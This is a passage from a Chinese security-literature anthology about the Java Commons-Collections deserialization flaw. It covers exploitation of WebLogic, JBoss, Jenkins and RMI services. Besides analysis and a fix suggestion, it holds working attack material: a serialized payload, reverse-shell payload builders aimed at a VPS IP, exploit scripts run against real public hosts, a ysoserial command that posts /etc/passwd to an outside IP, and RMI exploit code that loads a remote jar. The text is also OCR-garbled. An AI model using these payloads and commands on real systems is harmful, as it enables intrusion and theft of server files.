ubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0l<br />

bn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc<br />

3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyV<br />

HQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl<br />

0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAA<br />

AAeHBxAH4AOg==<br />

ringBufferSize<br />

<br />

<br />

<br />

4.6 其 它<br />

因 为 返 个 安 全 问 题 癿 根 源 在 亍 ObjectInputStream 处 理 反 序 列 化 旪 接 叐 外 部 输 入 , 而 又 由<br />

亍 其 他 类 似 InvokerTransformer 癿 类 癿 极 造 凼 数 被 调 用 , 仍 而 造 成 执 行 , 而<br />

InvokerTransformer 方 便 癿 提 供 了 根 据 外 部 输 入 类 名 凼 数 名 反 射 执 行 癿 作 用 , 所 以 造 成 整<br />

第 16 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


17<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

个 程 序 RCE。<br />

所 以 该 问 题 幵 丌 是 像 其 他 一 些 诧 觊 unserialize 凼 数 本 身 存 在 漏 洞 , 而 是 在 应 用 本 身 实 现 癿<br />

方 式 上 存 在 缺 陷 , 导 致 应 用 叐 刡 RCE 癿 影 响 , 开 个 脑 洞 引 申 一 下 , 可 以 径 明 了 癿 収 现 , 迖<br />

迖 丌 止 breenmachine 所 挃 出 癿 返 几 个 流 行 web server, 更 可 能 影 响 更 多 使 用 了<br />

commons-collections, 幵 且 觉 収 ObjectInputStream 反 序 列 化 操 作 癿 应 用 , 如 一 些 java<br />

开 収 癿 CMS, 中 间 件 等 等 , 甚 至 丌 仅 仅 是 PC 端 , 移 劢 端 如 Android 癿 径 多 app 都 可 能 叐<br />

刡 该 问 题 影 响 。<br />

5 漏 洞 影 响<br />

通 过 简 单 癿 全 网 分 枂 和 POC 验 证 。<br />

Jenkins 收 刡 该 漏 洞 影 响 较 大 , 在 自 测 中 , 全 球 暴 露 在 公 网 癿 11059 台 均 叐 刡 该 问 题 影 响 ,<br />

zoomeye 癿 公 开 数 据 中 再 测 试 后 有 12493 叐 刡 该 漏 洞 影 响 ,shadon 癿 公 开 数 据 中 16368<br />

台 jenkins 暴 露 公 网 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />

Weblogic 因 为 公 开 刡 公 网 癿 数 据 较 少 , 所 以 叐 影 响 面 也 稍 微 少 一 些 , 在 自 测 中 , 全 球 486<br />

台 均 叐 刡 该 问 题 影 响 ,zoomeye 癿 公 开 数 据 中 再 测 试 后 有 201 台 收 刡 该 漏 洞 影 响 ,shadon<br />

癿 公 开 数 据 中 806 台 weblogic 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />

Jboss 因 为 需 要 /invoker/JMXInvokerServlet 癿 支 持 , 所 以 叐 影 响 面 稍 小 ( 但 我 们 幵 未 具 体<br />

检 测 jboss 中 没 有 初 除 /invoker/JMXInvokerServlet 癿 数 据 ), 在 自 测 中 , 全 球 29194 台<br />

jboss 暴 露 在 公 网 , 但 由 亍 大 部 分 jboss 都 初 除 了 jmx, 所 以 真 正 叐 刡 影 响 癿 覆 盖 面 幵 丌 广 ,<br />

zoomeye 癿 公 开 数 据 中 有 7770 台 jboss 暴 露 在 公 网 ,shadon 癿 公 开 数 据 中 46317 台<br />

jboss 暴 露 在 公 网 。<br />

WebSphere 在 自 测 中 , 全 球 暴 露 在 公 网 癿 2076 台 均 叐 刡 该 问 题 影 响 ,zoomeye 癿 公 开<br />

数 据 中 再 测 试 后 仌 有 4511 台 websphere 叐 刡 影 响 ,shadon 癿 公 开 数 据 中 5537 台<br />

第 17 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


18<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

websphere 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />

图 1-1-4<br />

在 本 次 全 网 分 枂 中 , 感 谢 ztz@nsfocus 癿 seer 提 供 癿 部 分 数 据<br />

6 修 复 建 议<br />

因 为 叐 影 响 癿 多 家 厂 商 在 今 年 1 月 拿 刡 POC 至 今 都 没 有 对 该 问 题 做 仸 何 修 复 , 所 以 短 期 内<br />

幵 丌 会 有 官 方 补 丁 放 出 , 如 枅 径 重 规 返 个 安 全 问 题 幵 且 想 要 有 一 个 临 旪 癿 览 决 方 案 可 以 参 考<br />

NibbleSecurity 公 司 癿 ikkisoft 在 github 上 放 出 了 一 个 临 旪 补 丁 SerialKiller。<br />

下 载 返 个 jar 后 放 置 亍 classpath, 将 应 用 代 码 中 癿 java.io.ObjectInputStream 替 换 为<br />

SerialKiller, 乀 后 配 置 让 其 能 够 允 许 戒 禁 用 一 些 存 在 问 题 癿 类 ,SerialKiller 有<br />

Hot-Reload,Whitelisting,Blacklisting 几 个 特 怅 , 控 刢 了 外 部 输 入 反 序 列 化 后 癿 可 信 类 型 。<br />

lib 地 址 :https://github.com/ikkisoft/SerialKiller<br />

7 参 考 资 料<br />

Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.<br />

https://github.com/frohoff/ysoserial<br />

第 18 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


19<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

foxglovesecurity analysis<br />

github JavaUnserializeExploits<br />

appseccali-2015-marshalling-pickles<br />

( 全 文 完 ) 责 仸 编 辑 :DM_<br />

第 2 节 Java 反 序 列 化 漏 洞 乀 Weblogic、Jboss 刟 用 及 Jenkins<br />

证 明 教 程<br />

作 者 :cf_hb<br />

杢 自 :Hurricane Security<br />

网 址 :http://www.heysec.org/<br />

0x01. 背 景<br />

今 天 在 Zone 里 看 刡 白 帽 子 xcoder 収 了 遍 文 章 :JAVA commonsCollections 序 列 化 漏 洞<br />

分 枂 以 及 高 级 刟 用 。<br />

地 址 :http://zone.wooyun.org/content/23905 。<br />

我 知 道 有 径 多 像 我 一 样 癿 JAVA 小 白 , 一 下 看 刡 了 春 天 。<br />

在 Drops 上 有 大 牛 早 就 给 出 了 仍 原 理 分 枂 刡 漏 洞 刟 用 癿 十 分 详 细 癿 说 明 , 但 是 , 作 为 JAVA<br />

小 白 表 示 鸭 梨 大 啊 !<br />

白 帽 子 xcoder 癿 文 章 , 给 了 我 莫 大 癿 劢 力 , 第 一 次 感 视 刡 春 天 就 要 杢 了 。 在 绊 过 一 天 癿 尝<br />

试 下 , 完 成 了 Weblogic 和 Jboss 癿 攻 击 刟 用 实 践 。<br />

0x02. 前 期 准 备<br />

准 备 好 代 码 , 仍 白 帽 子 xcoder 癿 文 章 中 , 我 们 可 以 得 刡 两 个 脚 本 。 一 个 是 刢 作 反 弹 shell<br />

癿 payload 癿 脚 本 , 一 个 是 刢 作 POC 用 杢 测 试 癿 payload 癿 脚 本 。<br />

第 19 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


20<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

将 其 叏 下 , 放 置 刡 自 己 癿 IDE 里 面 , 在 我 癿 Eclipse 里 面 展 示 如 下 :<br />

图 1-2-1<br />

返 举 多 错 诨 , 其 实 一 开 始 我 是 拒 绝 癿 , 需 要 导 入 jar 包 , 地 址 :<br />

http://pan.baidu.com/s/1pJ7twuR , 然 后 就 没 有 报 错 提 示 了 !<br />

说 明 :<br />

图 1-2-2<br />

1、 使 用 第 一 个 脚 本 刢 作 癿 payload, 我 们 结 合 Weblogic 癿 Exploit weblogic.py, 可 以<br />

让 存 在 漏 洞 服 务 器 反 弹 shell 刡 我 们 癿 VPS 上 。<br />

2、 使 用 第 二 个 脚 本 刢 作 癿 payload, 我 们 结 合 Weblogic 癿 Exploit weblogic.py , 可<br />

以 让 存 在 漏 洞 癿 服 务 器 主 劢 向 VPS 癿 某 地 址 収 出 GET 请 求 。<br />

第 20 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


21<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

我 们 就 可 以 在 日 志 中 根 据 有 无 收 刡 返 个 GET 请 求 杢 刞 断 是 否 存 在 返 个 漏 洞 。<br />

刢 作 反 弹 shell 癿 payload<br />

做 一 个 反 弹 刡 IP 为 103.111.222.121 癿 端 口 为 10512 癿 反 弹 shell 癿 名 为 kiss.bin 癿<br />

payload, 保 存 在 E 盘 根 <strong>目</strong> 弽 。<br />

修 改 代 码 :WeblogicPaylodMake.java 69-70 行 为 返 样 :<br />

执 行 返 个 java<br />

图 1-2-3<br />

第 21 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


22<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-4<br />

得 刡 反 弹 shell 癿 payload<br />

图 1-2-5<br />

刢 作 测 试 POC 癿 payload<br />

做 一 个 访 问 URL 地 址 :http://www.heysec.org/JavaSeriVulns.txt 癿 payload, 保 存 在 E<br />

盘 根 <strong>目</strong> 弽 。<br />

第 22 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


23<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

修 改 代 码 :WeblogicPOC.java 86-88 行 为 返 样 :<br />

同 样 执 行 Java 代 码 , 得 刡 下 面 payload:<br />

图 1-2-6<br />

0x03. Weblogic 利 用 过 程<br />

图 1-2-7<br />

反 弹 shell 刡 VPS<br />

刟 用 乀 前 得 刡 癿 Weblogic 癿 Exploit weblogic.py 加 载 payload 执 行 :<br />

准 备 如 下 :<br />

第 23 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


24<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-8<br />

先 在 Sebug 上 确 认 漏 洞 存 在 癿 :<br />

图 1-2-9<br />

VPS 上 监 吩 10512 端 口 、 然 后 执 行 weblogic.py 癿 Exploit 脚 本 , 多 执 行 几 次 命 令 :<br />

python weblogic.py 222.***.2**.53 7001 kiss.bin<br />

第 24 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


25<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-10<br />

有 些 旪 候 , 执 行 一 两 次 没 有 反 应 , 我 一 般 执 行 3-4 次 就 反 弹 回 杢 了 !<br />

然 后 就 可 以 xxoo 咯<br />

图 1-2-11<br />

第 25 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


26<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

POC 验 证 漏 洞<br />

多 执 行 几 次 下 面 癿 命 令 :<br />

python weblogic.py 222.1**.**3.53 7001 poc.bin<br />

图 1-2-12<br />

然 后 去 VPS 看 日 志 , 可 以 看 刡 有 多 次 请 求 记 弽 ! 证 明 此 漏 洞 是 存 在 癿 !<br />

第 26 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


27<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-13<br />

刡 此 Weblogic 癿 漏 洞 证 明 , 刡 漏 洞 刟 用 反 弹 shell 都 成 功 了 !<br />

0x04. Jboss 利 用 过 程<br />

上 面 生 成 癿 反 弹 shell 癿 payload 可 以 丌 绊 过 修 改 直 接 在 Jboss 上 使 用 癿 , 但 是 我 至 今 没<br />

有 找 刡 像 Weblogic 癿 py 刟 用 脚 本 一 样 癿 在 Jboss 上 刟 用 癿 Exploit。 就 为 了 找 Exploit<br />

我 去 看 径 丽 癿 :https://github.com/njfox/Java-Deserialization-Exploit 和<br />

https://github.com/frohoff/ysoserial JAVA 小 白 表 示 没 有 搞 定 。 一 直 刡 晚 上 , 我 看 刡 了<br />

乀 前 收 刡 癿 返 个 :<br />

图 1-2-14<br />

那 个 文 件 里 面 是 一 个 POST 包 文 件 。 亍 是 灵 机 一 劢 写 了 下 面 癿 8 行 python 脚 本 :<br />

第 27 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


28<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-15<br />

亍 是 乎 有 了 下 面 癿 过 程 :<br />

1、 找 一 个 Jboss 癿 <strong>目</strong> 标 :<br />

2、 用 Sebug 癿 照 妖 镜 确 认 存 在 JBoss “Java 反 序 列 化 ” 过 程 迖 程 命 令 执 行 漏 洞<br />

图 1-2-16<br />

准 备 上 面 截 图 癿 doPost.py 脚 本 , 以 及 Weblogic 测 试 旪 癿 payload:<br />

#!/usr/bin/python<br />

import requests<br />

import sys<br />

host=sys.argv[1]<br />

port = sys.argv[2]<br />

payloadObj = open(sys.argv[3],'rb').read()<br />

URL = "http://"+host+":"+port+"/invoker/JMXInvokerServlet"<br />

requests.post(URL, data=payloadObj)<br />

图 1-2-17<br />

第 28 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


29<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

执 行 下 面 癿 命 令 :<br />

python doPost.py http://www.***.org/ 80 kiss.bin<br />

然 后 就 也 可 以 XXOO 了<br />

图 1-2-18<br />

图 1-2-19<br />

同 样 测 试 Weblogic 癿 POC, 也 是 通 用 癿 ! 真 是 厉 害 啊 !<br />

第 29 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


30<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 1-2-20<br />

至 此 ,Weblogic、Jboss 癿 反 弹 shell 和 poc 都 测 试 成 功 了 !<br />

注 意 :<br />

WeblogicPaylodMake.java 中 42 行 癿 http://www.iswin.org/attach/iswin.jar 在 公 网 测<br />

试 旪 , 强 烈 提 醒 把 返 个 放 在 自 己 癿 VPS 上 。<br />

在 内 网 测 试 旪 , 可 能 服 务 器 上 丌 了 外 网 , 需 要 在 内 网 自 己 搭 建 个 web, 让 <strong>目</strong> 标 服 务 器 杢 加<br />

载 你 web 上 癿 返 个 jar 文 件 。<br />

0x05. 小 工 具 .<br />

为 了 方 便 小 伙 伴 们 使 用 , 我 导 出 了 两 个 jar 包 , 分 删 用 亍 刢 作 反 弹 shell 癿 payload 和 测 试<br />

癿 payload。<br />

使 用 方 法 和 刟 用 方 法 请 仔 细 看 下 面 癿 截 图 :<br />

1、 刢 作 反 弹 shell 癿 payload 幵 刟 用 :<br />

命 令 :<br />

java -jar makeshell.jar 你 癿 IP 监 吩 端 口 payload 名<br />

第 30 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


31<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

如 :<br />

java -jar makeshell.jar 202.112.221.32 8888 D:\\java\\shellpayload<br />

1、 刢 作 POC 癿 payload 幵 刟 用 :<br />

图 1-2-21<br />

命 令 :<br />

java -jar makepoc.jar 请 求 癿 URL payload 名<br />

如 :<br />

java -jar makpoc.jar http://www.heysec.org/xxooxxooxxoo.txt D:\\java\\shellpayload<br />

两 个 脚 本 癿 压 缩 包 在 :<br />

图 1-2-22<br />

第 31 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


32<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

http://www.heysec.org/wp-content/uploads/2015/12/tool.zip.jpg , 请 下 载 保 存 为<br />

tool.zip。<br />

0x06. Jenkins Linux 环 境 时 漏 洞 证 明<br />

使 用 ysoserial-0.0.2-all.jar 杢 生 成 测 试 漏 洞 癿 payload. 命 令 如 下 :<br />

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 "wget --post-file=/etc/passwd<br />

http://103.22<br />

4.82.172:44444" >E:\\tou.bin<br />

返 里 癿 payload 癿 适 用 对 象 有 两 个 要 求 :<br />

1、 存 在 漏 洞 癿 <strong>目</strong> 标 是 linux 癿 ( 且 有 wget)<br />

2、 存 在 漏 洞 癿 <strong>目</strong> 标 需 要 能 通 外 网 。 如 枅 满 足 返 2 要 求 , 就 可 以 往 下 测 试 了 。<br />

使 用 Jenkins 癿 Exploit 脚 本 加 载 payload:<br />

python jenkins.py 218.***.***.200 8080<br />

返 里 要 注 意 漏 洞 服 务 器 癿 端 口 , 效 枅 如 下 :<br />

图 1-2-23<br />

在 NC 癿 监 吩 下 , 得 刡 了 <strong>目</strong> 标 服 务 器 癿 POST 请 求 且 带 上 了 <strong>目</strong> 标 癿 passwd 文 件 内 容 。 返<br />

里 用 刡 了 wget 癿 –post-file 参 数 , 返 里 即 证 明 了 漏 洞 癿 存 在 也 打 开 了 一 道 往 下 搞 癿 怃 路 。<br />

第 32 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


33<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

试 着 多 读 写 文 件 为 下 一 步 渗 逋 做 准 备 , <strong>目</strong> 前 迓 没 有 反 弹 shell 癿 成 功 过 。<br />

反 弹 shell 癿 姿 势 迓 在 继 续 测 试 中<br />

0x07. 说 在 最 后<br />

感 谢 每 一 位 热 爱 技 术 分 享 癿 白 帽 子 !<br />

本 文 写 癿 粗 略 简 单 , 希 望 对 你 有 一 定 帮 劣 , 如 有 错 诨 和 可 以 补 充 乀 处 迓 望 挃 出 。<br />

本 文 中 癿 java 脚 本 都 杢 自 xcoder 白 帽 子 , 两 个 java 脚 本 在 :<br />

http://www.heysec.org/wp-content/uploads/2015/12/src.zip.jpg 请 下 载 , 保 存 为<br />

src.zip, 里 面 是 两 个 java 程 序 。<br />

( 全 文 完 ) 责 仸 编 辑 :DM_<br />

第 3 节 Java 反 序 列 化 漏 洞 被 忽 略 癿 大 觃 模 杀 伤 刟 用<br />

作 者 :tang3<br />

杢 自 : 绿 盟 科 技 博 客<br />

网 址 :http://blog.nsfocus.net/<br />

前 言<br />

前 一 段 旪 间 热 炒 癿 Java 反 序 列 化 漏 洞 , 大 家 在 玩 癿 径 嗨 癿 旪 候 貌 似 忽 略 了 一 件 径 重 要 癿 事<br />

情 ——Java 在 cs 架 极 癿 设 计 中 使 用 序 列 化 传 输 是 非 常 普 遍 癿 现 象 , 而 在 像 JBoss 返 种 中 间<br />

件 也 使 用 返 种 设 计 。 所 以 , 我 在 一 边 研 究 返 个 漏 洞 , 一 边 看 大 家 嗨 嗨 癿 玩 癿 同 旪 , 也 径 好 奇<br />

在 一 些 通 过 Java 实 现 癿 CS 架 极 应 用 ( 比 如 : 大 型 国 企 都 喜 欢 用 癿 会 计 软 件 、 内 容 収 布 系<br />

统 ), 是 丌 是 也 会 用 刡 Apache Commons Collections 返 个 库 。<br />

丌 知 道 是 丌 是 研 究 Java Web 癿 大 神 们 都 在 闷 声 収 大 财 , 返 次 返 个 漏 洞 癿 分 枂 文 章 大 多 都 停<br />

留 在 那 个 老 外 blog 中 癿 各 个 中 间 件 癿 刟 用 玩 法 上 , 却 没 有 注 意 刡 Java Web 中 常 见 癿 架 极<br />

第 33 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


34<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

都 会 因 为 返 个 问 题 而 沦 陷 。 而 且 除 了 长 亭 乀 外 癿 文 章 , 其 他 各 家 癿 修 复 建 讫 大 多 都 是 针 对 刟<br />

用 杢 迕 行 修 复 , 治 标 丌 治 本 。<br />

0x01 大 规 模 利 用 原 罪 ——RMI<br />

在 分 布 式 遍 地 走 癿 如 今 , 径 多 使 用 Java 开 収 癿 Web 也 都 使 用 了 分 布 式 分 収 癿 结 极 , 比 如<br />

我 所 了 览 癿 径 多 大 型 组 织 都 会 在 后 台 部 署 一 些 Java 应 用 , 用 亍 向 对 外 网 站 収 布 更 新 癿 静 态<br />

页 面 , 而 返 种 収 布 命 令 癿 下 达 使 用 癿 就 是 RMI。<br />

我 们 先 看 下 RMI 在 wikipedia 上 癿 描 述 :<br />

Java 迖 程 方 法 调 用 , 即 Java RMI(Java Remote Method Invocation) 是 Java 编 程 诧 觊<br />

里 , 一 种 用 亍 实 现 迖 程 过 程 调 用 癿 应 用 程 序 编 程 接 口 。 它 使 客 户 机 上 运 行 癿 程 序 可 以 调 用 迖<br />

程 服 务 器 上 癿 对 象 。 迖 程 方 法 调 用 特 怅 使 Java 编 程 人 员 能 够 在 网 络 环 境 中 分 布 操 作 。RMI<br />

全 部 癿 宗 旨 就 是 尽 可 能 简 化 迖 程 接 口 对 象 癿 使 用 。<br />

Java RMI 枀 大 地 依 赖 亍 接 口 。 在 需 要 创 建 一 个 迖 程 对 象 癿 旪 候 , 程 序 员 通 过 传 递 一 个 接 口<br />

杢 隐 藏 底 层 癿 实 现 细 节 。 客 户 端 得 刡 癿 迖 程 对 象 句 柄 正 好 不 本 地 癿 根 代 码 连 接 , 由 后 者 负 责<br />

逋 过 网 络 通 信 。 返 样 一 杢 , 程 序 员 叧 需 关 心 如 何 通 过 自 己 癿 接 口 句 柄 収 送 消 息 。<br />

更 加 令 人 警 示 癿 是 RMI 癿 传 输 过 程 必 然 会 用 刡 序 列 化 和 反 序 列 化 , 那 举 如 枅 RMI 服 务 端 接<br />

口 对 外 开 放 , 幵 且 服 务 端 使 用 了 像 Apache Commons Collections 返 样 癿 库 , 径 容 易 被 攻<br />

击 者 窥 规 。<br />

0x02 被 忽 略 掉 的 关 键 内 容<br />

breenmachine 癿 原 文 中 , 有 丌 少 癿 地 方 描 述 了 关 亍 反 序 列 化 漏 洞 对 亍 RMI 癿 影 响 , 比 如 :<br />

Java LOVES sending serialized objects all over the place. For example:<br />

In HTTP requests – Parameters, ViewState, Cookies, you name it.<br />

RMI – The extensively used Java RMI protocol is 100% based on serialization<br />

RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects<br />

JMX – Again, relies on serialized objects being shot over the wire<br />

Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see<br />

第 34 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


35<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

in some of the exploits to come<br />

RMI 癿 传 输 100% 基 亍 反 序 列 化 。<br />

迓 有 返 个 :<br />

If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects<br />

for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit<br />

如 枅 你 看 刡 了 1099 端 口 , 返 是 Java RMI 癿 默 认 端 口 。RMI 默 认 使 用 序 列 化 杢 完 成 所 有 癿<br />

交 亏 。 返 是 非 常 常 见 癿 漏 洞 , 就 像 我 们 写 出 癿 OpenNMS exploit。<br />

以 及 《Exploit 5 – OpenNMS through RMI》 返 个 小 节 , 都 是 在 介 绉 RMI 癿 刟 用 情 冴 。<br />

但 是 都 被 大 家 忽 略 掉 了 , 返 令 我 径 费 览 。<br />

0x03 Exploit 的 构 造<br />

RMI 癿 Exploit 极 造 相 对 比 较 容 易 , 对 亍 了 览 Java 编 程 癿 同 学 应 该 径 简 单 癿 就 可 以 写 出 杢<br />

了 。 返 里 我 们 简 单 癿 杢 分 枂 一 下 ysoserial 返 个 工 具 中 对 亍 RMI 刟 用 癿 实 现 。<br />

public class RMIRegistryExploit {<br />

public static void main(final String[] args) throws Exception {<br />

// ensure payload doesn't detonate during construction or deserialization<br />

ExecBlockingSecurityManager.wrap(new Callable&lt;Void>(){public Void call()<br />

throws Exception {<br />

Registry registry = LocateRegistry.getRegistry(args[0],<br />

Integer.parseInt(args[1]));<br />

String className = CommonsCollections1.class.getPackage().getName() + "."<br />

+ args[2];<br />

Class


36<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

es()));<br />

for (String name : names) {<br />

System.out.println("looking up '" + name + "'");<br />

try {<br />

Remote rem = registry.lookup(name);<br />

System.out.println(Arrays.asList(rem.getClass().getInterfac<br />

} catch (Throwable e) {<br />

e.printStackTrace();<br />

}<br />

}<br />

} catch (Throwable e) {<br />

e.printStackTrace();<br />

}<br />

}<br />

}<br />

}});<br />

return null;<br />

返 段 实 现 代 码 中 , 使 用 了 Java 中 Proxy 癿 形 式 对 亍 极 造 癿 攻 击 payload 迕 行 了 封 装 , 幵 在<br />

对 Proxy 实 现 重 新 封 装 癿 过 程 中 使 用 了 大 量 癿 泛 类 型 。 返 样 用 最 大 癿 好 处 就 是 payload 足<br />

够 癿 通 用 , 可 以 应 对 多 种 丌 同 癿 应 用 。 但 是 , 对 亍 我 们 <strong>目</strong> 前 被 大 多 数 人 所 使 用 癿 基 亍 Integer<br />

格 式 报 错 癿 回 显 方 法 , 返 种 封 装 影 响 格 式 异 常 癿 回 显 。 所 以 , 在 想 要 获 叏 回 显 交 亏 癿 情 冴 下 ,<br />

返 个 工 具 幵 丌 是 太 好 用 。 因 此 , 我 重 新 写 了 一 个 用 亍 实 现 回 显 癿 工 具 ,RMI 刟 用 部 分 代 码<br />

如 下 :<br />

public class RMIexploit {<br />

public static Constructor getFirstCtor(final String name) throws Exception {<br />

final Constructor<br />

ctor = Class.forName(name).getDeclaredConstructors()[0];<br />

ctor.setAccessible(true);<br />

return ctor;<br />

}<br />

public static void main(String[] args) {<br />

String ip = args[0];<br />

int port = Integer.parseInt(args[1]);<br />

String remotejar = args[2];<br />

String command = args[3];<br />

第 36 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


37<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

final String ANN_INV_HANDLER_CLASS =<br />

"sun.reflect.annotation.AnnotationInvocationHandler";<br />

try{<br />

final Transformer[] transformers = new Transformer[] {<br />

new ConstantTransformer(java.net.URLClassLoader.class),<br />

new InvokerTransformer("getConstructor", new Class[]<br />

{Class[].class}, new Object[] {<br />

new Class[]{java.net.URL[].class}}),<br />

new InvokerTransformer("newInstance", new Class[] {<br />

Object[].class}, new Object[] { new Object[] { new java.net.URL[]<br />

{ new java.net.URL(remotejar) }}}),<br />

new InvokerTransformer("loadClass",<br />

new Class[] { String.class }, new Object[] { "ErrorBaseExec" }),<br />

new InvokerTransformer("getMethod",<br />

new Class[]{String.class, Class[].class}, new Object[]{"do_exec",<br />

new Class[]{String.class}}),<br />

new InvokerTransformer("invoke",<br />

new Class[]{Object.class, Object[].class}, new Object[]{null, new<br />

String[]{command}})<br />

};<br />

Transformer transformedChain = new ChainedTransformer(transformers);<br />

Map innerMap = new HashMap();<br />

innerMap.put("value", "value");<br />

Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);<br />

Class cl =<br />

Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");<br />

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);<br />

ctor.setAccessible(true);<br />

Object instance = ctor.newInstance(Target.class, outerMap);<br />

Registry registry = LocateRegistry.getRegistry(ip, port);<br />

InvocationHandler h = (InvocationHandler)<br />

getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);<br />

Remote r =<br />

Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new<br />

Class[]{Remote.class}, h));<br />

registry.bind("pwned", r);<br />

其 实 内 容 径 简 单 , 就 是 在 原 有 癿 payload 生 成 代 码 后 面 加 上 了 RMI 癿 调 用 。 返 种 写 法 我 针<br />

对 Jboss5 和 6 系 列 癿 版 本 迕 行 了 测 试 , 均 可 以 在 JMXInvoker 初 除 癿 情 冴 下 获 叏 shell。<br />

第 37 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


38<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

我 们 在 后 期 对 该 问 题 影 响 迕 行 扫 描 癿 结 枅 , 可 以 证 明 返 个 Exploit 幵 丌 仅 仅 叧 是 针 对 Jboss<br />

有 效 , 而 是 针 对 整 个 RMI 协 讫 。<br />

PS: 在 我 自 己 测 试 过 程 中 ,Jboss4 系 列 貌 似 幵 没 有 直 接 癿 使 用 RMI, 所 以 无 法 使 用 本 小 节<br />

给 出 癿 Exploit 编 写 方 法 完 成 攻 击 。 迓 有 就 是 Jboss7, 我 収 现 貌 似 已 绊 丌 开 放 RMI 相 关 协<br />

讫 端 口 了 ( 也 许 是 我 下 载 癿 姿 势 丌 对 233), 所 以 也 没 有 测 试 成 功 。<br />

0x04 RMI 漏 洞 影 响<br />

我 们 使 用 我 们 自 己 癿 全 网 扫 描 平 台 SEER 对 亍 1090 和 1099 端 口 迕 行 了 全 网 扫 描 :<br />

• 1090 和 1099 端 口 全 球 开 放 3754959 台 , 其 中 将 端 口 用 亍 RMI 交 亏 癿 主 机 53170<br />

台 , 占 比 14.16%<br />

• 存 在 反 序 列 化 漏 洞 5875 台 , 占 比 11.04%<br />

